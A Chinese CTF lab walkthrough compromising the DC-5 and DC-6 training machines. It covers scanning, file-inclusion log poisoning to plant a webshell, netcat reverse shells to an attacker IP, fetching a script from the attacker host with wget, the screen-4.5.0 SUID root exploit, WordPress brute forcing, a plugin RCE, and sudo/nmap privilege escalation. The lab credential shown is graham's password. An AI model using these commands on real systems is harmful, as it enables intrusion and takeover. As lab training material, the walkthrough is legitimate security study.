DC5-6靶机复现
DC5-6靶机复现
DC5
信息搜集
1 | nmap -A -p- 192.168.10.0/24 |
在扫描出来的结果中查找,有可疑端口的IP既为靶机地址

1 | nginx 1.6.2 |
可以看到目标靶机开放了80 111 53869三个端口,既然80端口开放了http服务,我们先访问一下

界面有5个选项,每一个选项点击之后都显示访问了不同的php文件,我们再来使用diresearch看看有没有隐藏的php文件
1 | diresearch -u 192.168.10.139 |

发现除了刚刚那五个可以访问到的php文件就只剩footer.php文件了,我们尝试访问

文件包含漏洞

可以看到footer.php的内容就是thankyou.php底部的内容(thankyou.php就是点击submit之后访问的php),并且每次重新访问thankyou.php之后再次重新访问footer.php,footer.php的内容也会变更至和footer.php一样,所以我们猜测thankyou.php包含了footer.php
那么这其中就存在了文件包含漏洞,那我们首先找寻一下包含的是那】哪个参数,这里就使用burpsuite



模式就设置为sniper模式,进行爆破

得到变量名应该是file

可以看到包含并访问成功
拿到shell
上面得知,这个http的服务器是nginx1.6.2,而我们已经知道nginx的日志文件是access.log根据之前所做过的一道类似ctf题,我们抓包进行UA配合日志文件传木马

放包成功写入,再次包含访问日志文件,然后用蚁剑配合我们刚上传上去的一句话木马进行访问

进去之后使用蚁剑打开虚拟终端进行一些基础操作

可以看到我们现在只是一个www-data的普通用户,并不是root,但是始终使用这个终端有点不方便(因为没有那么多工具),使用nc来反弹shell到我们kali的攻击机上
1 | nc -e /bin/bash 192.168.10.129 4441 |

反弹shell成功,拿到shell,首先使用python语言来获得交互式shell:
1 | python -c "import pty;pty.spawn('/bin/bash')" |

提权
接下来就是提权啦,想到最常见的就是suid提权,使用下面的语句来查看哪些命令具有suid权限:
1 | find / -user root -perm -4000 -print 2>/dev/null |

发现其中有一个screen-4.5.0很可疑,使用kali自带的漏洞库对其进行查找
1 | searchsploit screen |

根据版本,一眼就看中了这俩,我们分别查看一下其中内容,在41154.sh里面发现了直接的步骤

可以看到EOF隔开了我们要创建的文件和结束后需要执行的命令
第一部分
在tmp目录下创建libhax.c文件,将内容复制进去,这个我们在蚁剑里执行即可

1 | gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c |

第二部分
第二部分就是在/tmp目录下创建一个rootshell.c文件,然后保存后执行相应命令

1 | gcc -o /tmp/rootshell /tmp/rootshell.c |

第三部分
创建一个.sh文件,文件内容为所给步骤中的剩余代码,前面记得加上#!/bin/bash,注意:保存要输入set ff=unix,是为了防止脚本的格式错误
1 | #!/bin/bash |
我们先在kali机上创建一个d.sh文件,然后再将他下载到靶机上:
1 | vim d.sh |
在靶机上的/tmp目录下进行下载
1 | wget http://192.168.10.129/d.sh |

成功写入
如果觉得第三部分像上面这么做比较麻烦,难以理解,也可以依次输入exp里剩下的命令
接下来就是使用蚁剑反弹给kali的shell继续执行下一步的操作
1 | chmod +x d.sh |

成功拿到root权限

成功拿到flag。
DC6
信息搜集
老规矩,使用nmap找到目标靶机
1 | nmap -A -p- 192.168.10.0/24 |

一眼就相中了这个
1 | 80 http Apache2.4.25 |
下面访问一下80端口,看一下界面,一开始是访问失败的哈,所以要像DC2一样将对应ip和域名写进C:\Windows\System32\drivers\etc\hosts里面

之后直接在浏览器尝试访问,访问时间有点长,稍安勿躁


可以看到有cms为wordpress,那我们就想到的是DC2用到的针对wordpress的渗透工具wpscan,首先使用dirb,或者diresearch扫一下目录

依次访问一下,很快就在其中找到了登录界面

爆破进行登录
我们既然知道了有wpscan,那就用wpscan爆破一下用户名和密码,先爆破用户名
1 | wpscan --url http://wordy -e u |

扫描到五个用户,将他们全部输出到users.txt里面,也可以使用命令在扫描时就生成或者自己写入
1 | echo "admin" > users.txt |
下一步就是通过cewl来尝试生成密码字典进行爆破登录了。
1 | cewl http://wordy -w passwd.txt |
密码字典生成之后再使用wpscan进行用户名与密码的爆破
1 | wpscan --url http://wordy -U users.txt -P passwd.txt |

这样子爆破失败了,我们还是使用kali自带的密码字典吧
1 | #先解压密码字典 |

登陆进去
漏洞查找&反弹shell

这里不知道该咋办,看看wp,发现是Activity monitor这个插件存在远程代码执行漏洞

使用45274.html
1 | cat /usr/share/exploitdb/exploits/php/webapps/45274.html |

里面给出了代码,我们把他复制一份出来
1 | cp /usr/share/exploitdb/exploits/php/webapps/45274.html 45274.html |

1的地方改为我们的目标网址,2的地方就改成我们的攻击机和监听端口
开启攻击机的http服务
1 | python -m SimpleHTTPServer 80 |

点击submit request之后就拿到了反弹后的shell

使用python语言获得交互式shell
1 | python -c "import pty;pty.spawn('/bin/bash')" |
提权
之后还是常见的查看是否有suid提权,没什么发现
进入到mark用户的家目录下,stuff文件下有一个things-to-do.txt文件,查看文件内容发现graham用户及登录密码
1 | cd /home/mark/stuff |

发现了新用户graham ,密码为GSo7isUM1D4尝试使用su进行用户登录

可以看到登录成功,接下来再看看有当前用户可执行操作:
1 | sudo -l |

发现/home/jens/backups.sh是不需要密码的。
1 | cat /home/jens/backups.sh |
向backups.sh文件中写入”/bin/bash”,并以jens用户去执行该脚本(因为这个脚本是在jens用户目录下)
1 | echo "/bin/bash" >> /home/jens/backups.sh |

可以看到切换成功,再次使用sudo-l看看jens用户可执行什么命令:
1 | sudo -l |

发现jens用户可以无密码执行/usr/bin/nmap命令
百度到可以写入一条命令到getShell,并通过nmap运行getShell成功进入root用户,在/root目录下找到theflag.txt文件(注意切换目录)
1 | echo 'os.execute("/bin/sh")' > getShell |
